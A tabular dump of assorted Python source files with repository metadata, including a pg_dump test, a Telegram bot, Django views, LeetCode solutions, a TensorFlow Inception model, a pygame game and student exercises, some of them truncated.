c1280c5ed7c5bd1d052fed1f0059811aad1cdacf | d5d122ebf9f05a24826a7f851a3e1e810caa7427 | /tests/test_pgdump.py | be003d698ffbfa1c51c7259c9a54efb2c565c4b2 | [] | no_license | zhaoyun95/pgbackup | 06ef33351557dded276d4d707936743ea6454650 | 72835cb87271eca503f5d254af5cab1300c8de99 | refs/heads/master | 2021-06-17T22:53:57.005877 | 2019-07-28T05:23:58 | 2019-07-28T05:23:58 | 199,220,576 | 0 | 0 | null | 2021-04-30T21:09:32 | 2019-07-27T22:56:48 | Python | UTF-8 | Python | false | false | 1,010 | py | import pytest
import subprocess
from pgbackup import pgdump
url = "postgress://bob:password@example.com:5432/db_one"
def test_dump_calls_pg_dump(mocker):
"""
Utilize pg_dump with the database URL
"""
mocker.patch('subprocess.Popen')
assert pgdump.dump(url)
subprocess.Popen.assert_called_with(['pg_dump',... | [
"yiteng@yahoo.com"
] | yiteng@yahoo.com |
54e1596be988c6ca8e02b48c1c5d883863948344 | 9329b0100c3427eda0db0d26df7ae119de239a53 | /bot.py | dc1fc336905377779c83b5fc43198923da2f2f9e | [] | no_license | WozniH4CK/Heroku-Python-Telegram-Bot | 78db8e6218d20d35aa69f6ba5ff8c4855d6fe298 | c3497e2f8b57d825b1d9453184751c7646c49c87 | refs/heads/main | 2023-05-12T22:50:50.932522 | 2023-05-09T16:43:54 | 2023-05-09T16:43:54 | 343,742,448 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,837 | py | import logging
import os
from telegram import Update
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext
PORT = int(os.environ.get('PORT', 5000))
TOKEN = "TELEGRAM_TOKEN_BOT"
# Logger
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', l... | [
"orla.autiero@gmail.com"
] | orla.autiero@gmail.com |
44846d39e03d4c86d424fa57d50d5d22b76e2b30 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/73/usersdata/214/39773/submittedfiles/triangulo.py | 69ff688cd3048f7f591723dc3954f22789a5366c | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 474 | py | # -*- coding: utf-8 -*-
import math
a=int(input('Digite a:'))
b=int(input('Digite a:'))
c=int(input('Digite a:')
a>=b>=c>0
if a<b+c:
print('S')
else:
print('N')
if a+b<c:
if(a**2)==(b*2)+(c**2):
print ('Re')
if(a**2)==(b*2)+(c**2):
print ('Re')
if(a**2)==(b*2)+(c**2):
... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
82e3695bd6d30229478ea9010649e2e87b99af1d | 7b67c2d70fc363e42715a4a5b30e54c7bdb83c8e | /RemoveNthNodeFromLinkedList.py | 793096e6803518e7afee9ebf8f37156c33f2e215 | [] | no_license | tajshaik24/interviews | d4fbb0f2df1c7e56b2cdc639d8196c20946d5c37 | 55545e8b11b8e7681ba4393e92c7b2b57c5dca5e | refs/heads/main | 2021-12-02T08:28:09.966081 | 2021-07-29T08:40:27 | 2021-07-29T08:40:27 | 145,492,829 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 922 | py | '''
Given a linked list, remove the n-th node from the end of list and return its head.
Example:
Given linked list: 1->2->3->4->5, and n = 2.
After removing the second node from the end, the linked list becomes 1->2->3->5.
Note:
Given n will always be valid.
Follow up:
Could you do this in one pass?
'''
# Definition... | [
"tshaik@berkeley.edu"
] | tshaik@berkeley.edu |
bd44fb145670764a1ebf331ce404f53320ca0dac | 80226a96df6eee68c26aef252875f6f652ae9dc4 | /portfolio/urls.py | 4d189a76422fc0ca9bb38c37b64acae4b975f715 | [] | no_license | satyendra457/portfolio | 950a9d3a1ee455de7d6334a1a8963074bc6a07e4 | dbef699c53a56915a13d2a5302fdebea6f6a4ec0 | refs/heads/master | 2020-07-16T18:36:24.434822 | 2019-09-02T11:40:48 | 2019-09-02T11:40:48 | 205,843,967 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 331 | py |
from django.contrib import admin
from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('', include('core.urls')),
path('admin/', admin.site.urls),
]
urlpatterns = urlpatterns + static(settings.MEDIA_URL, document_root = settings.... | [
"satyendra.tiwari@verts.co.in"
] | satyendra.tiwari@verts.co.in |
2abc59a62707b0bb5f252a649a0df5c2f07b24df | 18df5671c7c066210b76cd643547b7e991c9ce6d | /src/core/views.py | af9147f2ebef1934bd703c5e223c3ffe128c0e3c | [] | no_license | luisnaranjo733/django-react-docker | 4dacbcd2a9f0f10ee01803be31c8ff51cef0efff | 285f02204b4695fcadebbb4e4b127429a2d60df5 | refs/heads/master | 2021-08-19T16:09:05.333501 | 2017-04-28T21:28:22 | 2017-04-28T21:28:22 | 112,116,560 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,162 | py | import re
from django.shortcuts import get_object_or_404, redirect, render
from core.models import (Manager, Opportunity, Question, Response, Survey,
Volunteer)
def index(request):
'''Volunteer home page
Most likely this page won't be included in production, as NWIRP can hopefully r... | [
"luisnaranjo733@gmail.com"
] | luisnaranjo733@gmail.com |
ddb017f1526e2b724191f3d00ca90eec4cbd5037 | 14d5020c1f4011e156b27ab2b5c0bce907c2f637 | /extras/examples/Sieve.py | bd9d106bf6272a59c281ca19485c5366e17ffa78 | [
"MIT"
] | permissive | rbrewer123/pycsp | 59eadc5389f6236cf9d19a4a547ad85dcc2d04e8 | a42acfe3e2a40cacf256d341e3a053947aab24fe | refs/heads/master | 2016-09-06T06:53:16.970404 | 2015-09-02T02:51:31 | 2015-09-02T02:51:31 | 41,721,991 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,023 | py | """
Copyright (c) 2009 John Markus Bjoerndalen <jmb@cs.uit.no>,
Brian Vinter <vinter@nbi.dk>, Rune M. Friborg <rune.m.friborg@gmail.com>.
See LICENSE.txt for licensing details (MIT License).
"""
from pycsp_import import *
@process
def producer(cout, cnt):
for i in range(2,cnt):
cout(i)
poison(c... | [
"rune.m.friborg@eca1dd04-0285-11de-9d1a-b59b2e1864b6"
] | rune.m.friborg@eca1dd04-0285-11de-9d1a-b59b2e1864b6 |
618d00cbc56d2f3abda936c39819ad1ea101852a | f56e9a9269ea35439ee985886b98313bd08a2a1b | /Root/test_attn.py | 40381df433fa6379a95a025a00d62392ce06f983 | [] | no_license | gsygsy96/Human-Motion-Estimation-from-sparse-IMUs | b4ebfd1f1a4da9e2e9a810a96550141c07d42d24 | 09782b1144059e451d1128d07782a7da9186a11a | refs/heads/master | 2023-03-16T00:41:25.306880 | 2019-11-22T21:15:51 | 2019-11-22T21:15:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,008 | py | from Attention import RawDataset
from Attention import Encoder
from Attention import Decoder
import torch
import Config as cfg
import matplotlib.pyplot as plt
import numpy as np
import myUtil
#import quaternion
import itertools
class TestEngine:
def __init__(self):
self.datapath = '/data/Guha/GR/synthetic... | [
"guha@pc-2162.kl.dfki.de"
] | guha@pc-2162.kl.dfki.de |
510cf91568dd8c2b94718c023aaee3f73e816536 | 330802c408d66e1c6e37dd7087f2f949570438ff | /Python/easy/258.py | 0bc4f6f71e736745145a0e5e3d567083d2b7be48 | [] | no_license | HeyZOJian/leetcode | ea93da6c4f6cbd6bfb60b9f0a0c4cb21a5907687 | 5cae29c4825c122b1fdec9ead32939a20bf3129d | refs/heads/master | 2021-05-05T07:10:50.104077 | 2018-10-05T01:44:13 | 2018-10-05T01:44:13 | 118,855,381 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 729 | py | """
258. Add Digits
Given a non-negative integer num, repeatedly add all its digits until the result has only one digit.
For example:
Given num = 38, the process is like: 3 + 8 = 11, 1 + 1 = 2. Since 2 has only one digit, return it.
Follow up:
Could you do it without any loop/recursion in O(1) runtime?
因为最后累加到个位数,所... | [
"hellozojian@gmail.com"
] | hellozojian@gmail.com |
db31b8d2ff15f45a463ad6fbc60c2cb57dc1f3f5 | 31e3e0ce6d8b8cd1b286971aa1ea3c56a338ca48 | /sunpy/util/sphinx/doctest.py | 5a29458fbf6228f895f78a2fab1182fc8684257c | [
"BSD-2-Clause"
] | permissive | sunpy/sunpy | d8df998cf7753834ffd7add6911c0e4f6828b5b8 | edd3ea805f4540d41ce2932a0e865cab2d6a4cf5 | refs/heads/main | 2023-09-01T12:05:09.343909 | 2023-08-31T13:36:35 | 2023-08-31T13:36:35 | 2,165,383 | 792 | 683 | BSD-2-Clause | 2023-09-14T14:03:09 | 2011-08-06T15:34:08 | Python | UTF-8 | Python | false | false | 1,966 | py | # Licensed under the Astropy 3-clause BSD license - see licenses/ASTROPY.rst
"""
This is a set of three directives that allow us to insert metadata
about doctests into the .rst files so the testing framework knows
which tests to skip.
This is quite different from the doctest extension in Sphinx itself,
which actually d... | [
"stuart@cadair.com"
] | stuart@cadair.com |
95d03c0871078dbaef667f5b4515468e49b15261 | d99e5b65624f115db6982dd88af9390e8d766042 | /tensorflow/contrib/slim/python/slim/nets/inception_v3.py | 77c95b155f3b20cb6702b87bcdebee7af607416f | [
"Apache-2.0"
] | permissive | golbin/tensorflow | 03dbecb6f093f5628c072086c780659bcc14dba8 | 8a58a304bdcf909f8b55ec49e9280fc3af01c7d3 | refs/heads/master | 2021-01-12T07:05:41.360503 | 2016-12-20T00:15:41 | 2016-12-20T00:15:41 | 76,907,006 | 2 | 0 | null | 2016-12-19T23:58:44 | 2016-12-19T23:58:43 | null | UTF-8 | Python | false | false | 28,924 | py | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... | [
"gardener@tensorflow.org"
] | gardener@tensorflow.org |
5aeab1900cd5f1c09551ed42241933b5ded8a0dd | b146f5b05df2202162752ab03090b45c6003668f | /car_game/game.py | 4e12f08fab1434582bf345e3664c4a2fde8c6fcb | [] | no_license | Anshu05m/Python-BasicProjects | 7cc56a17a7ee634cb9a9190afc8a8431590bf29e | 30078dfef98805cf49660cd6227897b73b7920a9 | refs/heads/main | 2023-06-25T07:13:52.404795 | 2021-07-23T02:02:42 | 2021-07-23T02:02:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,960 | py | import pygame, time, random, sys
pygame.init()
gray=(119,118,110)
black = (0,0,0)
pink = (19,3,110)
red = (255,0,0)
green = (0,200,0)
blue = (0,0,200)
bright_red = (255,0,0)
bright_green = (0,255,0)
bright_blue = (0,0,255)
display_width = 800
display_height = 600
gamedisplays = pygame.display.set_mode((display_width ... | [
"noreply@github.com"
] | noreply@github.com |
e1a8e2e48d4ccb196ac5f940b2b444cbb8d8aa66 | 364046cb77451857150f8884a65f2219647f29ee | /app/recipies/migrations/0002_ingredient.py | 335f9d230c2db64ce81f8f97f8973d2167fee049 | [
"MIT"
] | permissive | sourabhsinha396/Rest-api-recipie | be3e92f188fa8b587d670b38e175285d8e86277d | a9937d5119c706d1193654ece280ed46b599a344 | refs/heads/master | 2023-07-18T21:02:29.581011 | 2020-07-26T04:12:33 | 2020-07-26T04:12:33 | 281,962,330 | 0 | 0 | MIT | 2021-09-22T19:29:51 | 2020-07-23T13:41:55 | Python | UTF-8 | Python | false | false | 758 | py | # Generated by Django 3.0 on 2020-07-26 03:36
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('recipies', '0001_initial')... | [
"sourabhsinha396@gmail.com"
] | sourabhsinha396@gmail.com |
c02c3a1abefd888c7e3ff00c104c0dab0646ca38 | c00c68c864975c86fc9816537e9b20790857df0c | /My Python Program/class_setage_getage.py | d76ab05d7f421dea8e66406e84fd0b93ded655ce | [] | no_license | aprvh1/Python | 9f137b035eabd96378184be6fd0c0b879a5e82d7 | db37e060f096735e37b1e1f14fcc95db83b0ae25 | refs/heads/master | 2022-11-06T13:55:36.060365 | 2020-06-30T15:44:20 | 2020-06-30T15:44:20 | 276,140,845 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 222 | py | class apoorv:
def setage(self,age):
self.ageofclass=age
def getage(self):
return self.ageofclass
a=apoorv()
a.setage(22)
print a.getage()
a.setage("Twenty one")
print a.getage()
| [
"noreply@github.com"
] | noreply@github.com |
ebdddd5f345927de2632812880372de6c9891ad6 | e5743d54bad201b8421f7a23227caf5101836cde | /1到100求和.py | 30fdc4d3edbff380162059908c2291df154aa98d | [] | no_license | liuwenwen313/store | c0b329f0fba65013817b545f2fe1228fc4c11ff6 | 665c2a93ab1d81331867bb98ef75f0ff726aeb5a | refs/heads/master | 2023-05-22T22:30:27.460739 | 2021-06-07T01:13:22 | 2021-06-07T01:13:22 | 359,721,714 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 155 | py | start = 0
sum=0
while start<100:
start=start+1
print("这是第几次",start)
sum =int(sum)
sum =sum+start
print("1-100总和为",sum)
| [
"1798032538@qq.com"
] | 1798032538@qq.com |
5a2f9ab746f3c4b5d716ff8c896270a4ba8429d7 | 6f52d296b672871bcf7957393b3b3f6afb9c61b9 | /lang_types/lang_function.py | 686c7bea64e1619cefca3848d57cbea7cd60b1d9 | [
"MIT"
] | permissive | badochov/fun-lang-interpreter | 42a5c98f8d9833823d23d9f04278818ba10f8e17 | 189784b2dbcf8d6b52f671ab0a853c60966431c6 | refs/heads/master | 2022-10-23T07:07:50.249671 | 2020-05-22T13:01:37 | 2020-05-22T13:01:37 | 252,565,821 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,680 | py | from __future__ import annotations
from typing import Optional, TYPE_CHECKING, List
from context import Context
from lang_types.lang_type import LangType
from nodes.node import Node
from nodes.variable_assignment_node import VariableAssignmentNode
from position import Position
from symbol_table import SymbolTable
if... | [
"badocha.hubert@gmail.com"
] | badocha.hubert@gmail.com |
7ebef29c5a933741d88289edea372e4b38a5f084 | ab43c91790b9aaba0878f106a775ba31b4d45e8a | /Top100/Largest Rectangle in Histogram.py | 13af2076a589253ca69d212608b7d313e9ee96ef | [] | no_license | Goodnick123/LeetCode | cc05b263d43f412d9be77a3a1d3dd3356c501feb | 2273ce2dcfd558eda4435360e0d3796c9ec17cca | refs/heads/master | 2021-04-05T23:24:23.291853 | 2018-03-10T15:28:15 | 2018-03-10T15:28:15 | 124,646,471 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,478 | py | # -*- coding: utf-8 -*-
# @Time : 2018/2/11 15:24
# @Author : Yeh
#TLE
class Solution:
def largestRectangleArea1(self, heights):
"""
:type heights: List[int]
:rtype: int
"""
maxS=0
for i in range(len(heights)):
left =i-1
right=i+1
... | [
"576182627@qq.com"
] | 576182627@qq.com |
2ae21773feb132266ffe8bc126dfea09fd1434c8 | 4230f60077de95ef8dcfae1b64d2fbbbd481909e | /pi/picture.py | 34a1661f312bc41034c0b4a5ca1e27e9ff26d096 | [] | no_license | FrogletApps/IoT_Doorbell | d1eeb7fffe2bc9275c8ba911f5817f60dba1d568 | c55fc3daa6a1738d16c9ae8d98f7de5fb5989dcc | refs/heads/master | 2022-04-05T21:51:33.574416 | 2020-02-10T18:09:26 | 2020-02-10T18:09:26 | 219,339,931 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 422 | py | from datetime import datetime
from picamera import PiCamera
#Get file path for pictures
def getPicturePath():
time = datetime.now()
return '/home/pi/Git/iot-doorbell-pi/webControl/DoorbellPics/'+ time.strftime("%Y-%m-%d %H-%M-%S") +'.jpg'
picturePath = getPicturePath()
camera = PiCamera()
#camera.start_previe... | [
"james_pearson@outlook.com"
] | james_pearson@outlook.com |
694a32db49cb1ca6e8ff77d71cfc2dbc980fad97 | a668806b052884b2f1faef6a28304c908a89fc68 | /test/fixtures/LoggerFixture.py | fcb55b6b5af8ab5768519c8566db92db68e92c05 | [
"MIT"
] | permissive | pip-services3-python/pip-services3-elasticsearch-python | aa2e49a70a0debcb2e77f59aefe144baf401b4ca | fe2fba2aeaef7ba80c17732d0065e5bcd60fcb82 | refs/heads/master | 2023-01-28T14:40:18.698083 | 2023-01-24T08:08:32 | 2023-01-24T08:08:32 | 140,886,199 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,151 | py | # -*- coding: utf-8 -*-
import time
from pip_services3_components.log import LogLevel
class LoggerFixture:
def __init__(self, logger):
self.__logger = logger
def test_log_level(self):
assert self.__logger.get_level() >= LogLevel.Nothing
assert self.__logger.get_level() <= LogLevel.Tr... | [
"judas.priest999@gmail.com"
] | judas.priest999@gmail.com |
32f57999cceed14699a94052de464465d2c5f3f6 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_mendicant.py | b54bd489ffe8ff7e7bd2a65fa8196b2a4fa0cc55 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 390 | py |
#calss header
class _MENDICANT():
def __init__(self,):
self.name = "MENDICANT"
self.definitions = [u'someone, especially a member of a religious group, who lives by asking people they do not know for money']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = '... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
d4d2fabc503000d5014c1a508a6873a48b9b9073 | 46c5cc7212a7b13378bbc69951aa46f0454baf4b | /load_dataset.py | 4b683f73474ed2705885af13a7f5f81c7a2a5b9d | [] | no_license | Raunak005/Biased-Prediction-A-Comparative-Analysis | abf9a0193aacf84a98a3537d1ba6aae7769540d6 | c7605807f62873c0dc0044783cf85a31724d4ecb | refs/heads/master | 2020-09-29T04:48:00.447623 | 2019-12-09T23:34:35 | 2019-12-09T23:34:35 | 226,955,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 626 | py | import pandas as pd
import feature_selection as fs
def load_training_dataset():
print('Loading the training data set . . .')
training_data = pd.read_csv('./datasets/train.csv')
print('The training data set (\'train.csv\') is loaded successfully!')
return training_data;
def load_test_dataset()... | [
"noreply@github.com"
] | noreply@github.com |
25fb0280d9175f5a0bc7c16c2a28eb4020a92dbc | 146feb4c64d8cc2ed5fecaa7132f60bbde3497da | /lab2/lab2(1).py | 55752edb769f6ecc1cfd634c61b408ff7547fd0d | [] | no_license | rahaf19-meet/yl1201718 | d58c2f9f27a3a445627f23b709e23b060897d2f0 | ecdd5f6f338e9cef9e9859816dd1b57ea298f189 | refs/heads/master | 2021-09-06T08:59:04.366295 | 2018-02-04T16:59:46 | 2018-02-04T16:59:46 | 108,751,208 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 41 | py | a=[5,10,15,20,25]
b=[a[0],a[-1]]
print(b) | [
"rahaf.sabri@gmail.com"
] | rahaf.sabri@gmail.com |
239453e10da98ad6708c3d73cec6d701f1e77eaf | d3b1d0760860e0518f3edb453ef43a8277e08f77 | /attachment.py | 087b847d0717eef8bb5c93ed89989bd64b080d99 | [] | no_license | gpandu/Migration_BG | e8ad8f5cf25306f987760b37968fe8782d9f730d | 1dda20991208c4e05579df0c92252c7bbd188c31 | refs/heads/master | 2020-03-30T22:50:23.537137 | 2018-10-10T06:53:13 | 2018-10-10T06:53:13 | 151,679,954 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,723 | py | # -*- coding: utf-8 -*-
import ssl
import queries
import urllib
import utilities
from io import StringIO
cookie_file = 'cookie.txt'
def get_attachment(attach_id):
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
attach_url = "https://bugzilla.metricstream.com/bugzilla/attachment.cgi?id="+attach_id
request = ... | [
"gugulothu.pandu@metricstream.com"
] | gugulothu.pandu@metricstream.com |
ef5f0ffdd91add1c637b81b3554202919a900383 | 01a551b7f98e84a11fc8f8eaf4d596090408b146 | /video/uielements.py | 6d970d91400837a659380d371b040b021c3f86a9 | [] | no_license | Compy/DemolitionMan2000 | 16bd5741d71de6d71f6ba328cd7654a2a7960bda | 92efe164359ba402b37ce3db6f24d7c58f01f4d1 | refs/heads/master | 2021-08-16T06:14:00.503587 | 2017-11-19T04:22:13 | 2017-11-19T04:22:13 | 111,263,864 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 22,521 | py | '''
Created on Dec 18, 2012
@author: compy
'''
import logging
from direct.gui.OnscreenText import OnscreenText,TextNode
__all__=["Menu"]
from direct.showbase.DirectObject import DirectObject
from direct.gui.DirectGui import DirectFrame,DirectButton,DGG
from direct.gui.OnscreenText import OnscreenText
from pandac.Pa... | [
"jimmy@catster.net"
] | jimmy@catster.net |
df60941f7bade624506de59193cded366a4df4d0 | acb6e37d92335252e6391db051d803b41fe7c148 | /auto/migrations/0008_auto_20170718_1944.py | 5a5f45768895eac686f04795799268a1cd6748de | [] | no_license | daasara/zss | b4b6d4002d7c931a2e579752b79212c48ae59ba0 | a3cfa72a07ba10464b3092d9693162d270f4e8bb | refs/heads/master | 2021-01-20T04:57:28.906805 | 2017-08-17T06:57:10 | 2017-08-17T06:57:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 641 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-07-18 19:44
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('auto', '0007_auto_20170718_1943'),
]
operations = [
migrations.AddField(
... | [
"ironvanxv@gmail.com"
] | ironvanxv@gmail.com |
9c7997be9cd575f150d0f208a7ab48236e792676 | ffc6efca14efd126e9b0541e7b0c1f3a05ee90e1 | /algorithms/sorts.py | 639abd50908bf5d6bb9026c50b0d6391653e9e3c | [] | no_license | dlopes7/python-tests | 65b6687fcee9c6230d1fd13aa2941fef34cbaa8f | 93c175c717499f75a2f533c2bccf4e4e0b886e25 | refs/heads/master | 2021-01-13T00:16:32.516708 | 2015-12-28T17:45:43 | 2015-12-28T17:45:43 | 48,704,303 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,112 | py | import random
import pygame
from algorithms.colors import *
def draw_array(array, nome, frame):
DISPLAY.fill(BLACK)
aux_surf = DISPLAY_FONT.render(nome+ ' - ' + str(frame), True, WHITE)
aux_rect = aux_surf.get_rect()
aux_rect.topleft = (10, 10)
DISPLAY.blit(aux_surf, aux_rect)
for idx, va... | [
"davidribeirolopes@gmail.com"
] | davidribeirolopes@gmail.com |
a5eb456d0d7a12f0053d881b66d1a08c54c396a4 | 4a437b1192ba1bc96acd1b80a0d2d70d48dd06ca | /lab13 /cv-lab13/task2.py | 8f56b9613401b01099ffc9a4a7e9a60324b3dcf8 | [] | no_license | Behzadmcki/computer_vision_project | 03aa8cfb4bbebc8d0f80ec28e9aa05e3f9a4bced | ff856496bedb66c26c597b87615b574d0ecbdf43 | refs/heads/master | 2022-11-20T15:01:37.058879 | 2020-07-08T09:25:35 | 2020-07-08T09:25:35 | 278,041,252 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,525 | py | """ The above accuracy is calculated on the train data (classification.py). This is not a good way to evaluate a
classifier, because it can overfit the training data, that is it can work very well on the
training data, but perform poorly on the new (unseen) data. Your task is to examine the
accuracy of the classifie... | [
"bmckizade@gmail.com"
] | bmckizade@gmail.com |
48d9538c80a3597aa6692be63fa30601487077fc | 9b3ef471582d4bc2e2a25dba7fdc96fa6153f1f1 | /0x00-python-hello_world/101-compile | b687a957416b1e04e79ab38f750a6764add58c11 | [] | no_license | tyedge/holbertonschool-higher_level_programming | b9a0f8e117423d507eb3aceb606b6edec30ff481 | 9bbf03d405bec1def3aeeafb9c8ee89c6595d115 | refs/heads/master | 2020-05-17T22:29:19.840477 | 2019-09-27T03:49:21 | 2019-09-27T03:49:21 | 184,002,509 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 106 | #!/usr/bin/python3
import os
import compileall
compileall.compile_file(os.environ['PYFILE'], legacy=True)
| [
"tyedge.inc@gmail.com"
] | tyedge.inc@gmail.com | |
765a829001c753e77058f71c4fa8a4032b014424 | 3c756c0dd4dae07156bace0656bba2ac6eb61415 | /src/alembic/env.py | c569c550d7d06737d9b3baa058c22c1dbfaedf21 | [] | no_license | krenzland/prior-information | d00e1c3e8bfc797e36a8883cdd43b41fc451be1a | 3f86694efbbb0bb4ece83c3438f76634c55b3352 | refs/heads/master | 2021-03-24T09:49:12.760514 | 2018-07-05T09:45:05 | 2018-07-05T09:45:05 | 105,457,224 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,215 | py | from __future__ import with_statement
from alembic import context
from sqlalchemy import engine_from_config, pool
from logging.config import fileConfig
import sys, os
this_file_path = os.path.dirname(os.path.abspath(__file__))
sys.path.append(os.path.abspath(os.path.join(this_file_path, '../')))
import sgpi.model
fr... | [
"lukas@krenz.land"
] | lukas@krenz.land |
bec06bc5acc08c6b264abc1ab5655474655a1df8 | 4155a5a4fa6bd89149c57132da472aa81d8d4f25 | /MediaServer/urls.py | 5e60c2ee48c9c1e61f14f0289012ae6593934cf6 | [] | no_license | FurySwordXD/Media-Server | de1e90dbf4e1670bbcdd760a36d881c781e64133 | 17c535f3d6092ab68e9d0926c9c8b39b71a30f70 | refs/heads/master | 2023-08-04T06:08:10.015733 | 2021-09-09T06:21:01 | 2021-09-09T06:21:01 | 404,608,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 847 | py | """MediaServer URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-b... | [
"sainathganesh1@gmail.com"
] | sainathganesh1@gmail.com |
04cd05508042989691d85ccef1ca08d5abdead58 | b3dab812b9926b676ac05f203e3286d145995eba | /Nika/config.py | 900935c8148e834ebdc5af5abef9b6ff7446747c | [
"MIT"
] | permissive | bekkazy-k/Nika | 838a0afe14fc73024965ac0acd757bf549a476ca | 47e5c67a2ccceb2f6a61531de31707d81af66a54 | refs/heads/master | 2020-07-23T09:24:01.048899 | 2020-01-07T09:19:25 | 2020-01-07T09:19:25 | 207,512,591 | 3 | 2 | MIT | 2020-03-16T03:39:34 | 2019-09-10T09:03:28 | Python | UTF-8 | Python | false | false | 1,579 | py | import profig
class Config:
def __init__(self, conf_type="dev"):
"""
Класс конфигураций.
В корне проекта требуются файлы config.cfg и configDev.cfg
:param conf_type: Тип конфигураций (prod | dev)
"""
self.conf_type = conf_type
if conf_type == "prod":
... | [
"bekkazy.k@gmail.com"
] | bekkazy.k@gmail.com |
25942d3a98c06b04a955832ac14a2ed03352ba90 | 4e4ee171f694f259bb7a0838757a61287a00c99c | /src/plugins/CutImage/setup.py | 4c0f9556ba7c32e3c8ec737b0286024b459bff06 | [] | no_license | zhlikezhz/tools | 812b3a6d7ebbb874f3dd34eef444d9288bcac442 | b02b8664dd9545e33a720a6b69f8003bc5f91ee2 | refs/heads/master | 2021-01-20T11:35:11.727365 | 2015-12-18T08:32:25 | 2015-12-18T08:32:25 | 42,494,110 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 135 | py | import py2exe
from distutils.core import setup
setup(windows = ["CutImage.py"], options = {"py2exe":{"dll_excludes":["VCOMP90.DLL"]}}) | [
"zouhaodata@gmail.com"
] | zouhaodata@gmail.com |
dc15bee7ed785c88652e7fe2f9f9ba0219f8bd7d | 28def23ece65b357a18368c8816e63e5d767f147 | /utils/segment.py | 63642a573ebcc81715d76197833ba37c1f80b24a | [
"MIT"
] | permissive | jeongHwarr/high-res-mapping | 952d9faea57b980a04dde5162602f42444ffd665 | fb485501c8c2aa92e389fa98d2a9aac8f09bd034 | refs/heads/master | 2023-02-13T10:58:12.468128 | 2021-01-06T06:01:26 | 2021-01-06T06:01:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,458 | py | from utils import percentile
from skimage import segmentation
import SimpleITK as sitk
import numpy as np
def felzenszwalb(image, params=None):
"""
Wrapper for scikit-image's felzenszwalb segmentation. Mainly added for namespace uniformity and for ease with the
default parameters
:param image: An imag... | [
"thanostagaris@gmail.com"
] | thanostagaris@gmail.com |
eba0bd23543f181636ee1a87e571c26256666e43 | 5258373de66762a7ceacff0b7ee0f6a0b72963e5 | /Dicts_09.py | eb9476733792ded3ee9c24d2fee30b25898602ff | [] | no_license | ivand200/Coursera_Python_for_everybody | 4810e06d59fa964360ad7df7e1b7816708e15273 | b38148a6d39123970b22f8efe410a7b0fe961928 | refs/heads/master | 2023-04-02T09:11:32.904904 | 2021-03-28T16:50:22 | 2021-03-28T16:50:22 | 352,383,917 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,670 | py | #Exercise 2: Write a program that categorizes each mail message by which day of
#the week the commit was done. To do this look for lines that start with “From”,
#then look for the third word and keep a running count of each of the days of
#the week. At the end of the program print out the contents of your dictionary
#(... | [
"ivand1988@outlook.com"
] | ivand1988@outlook.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.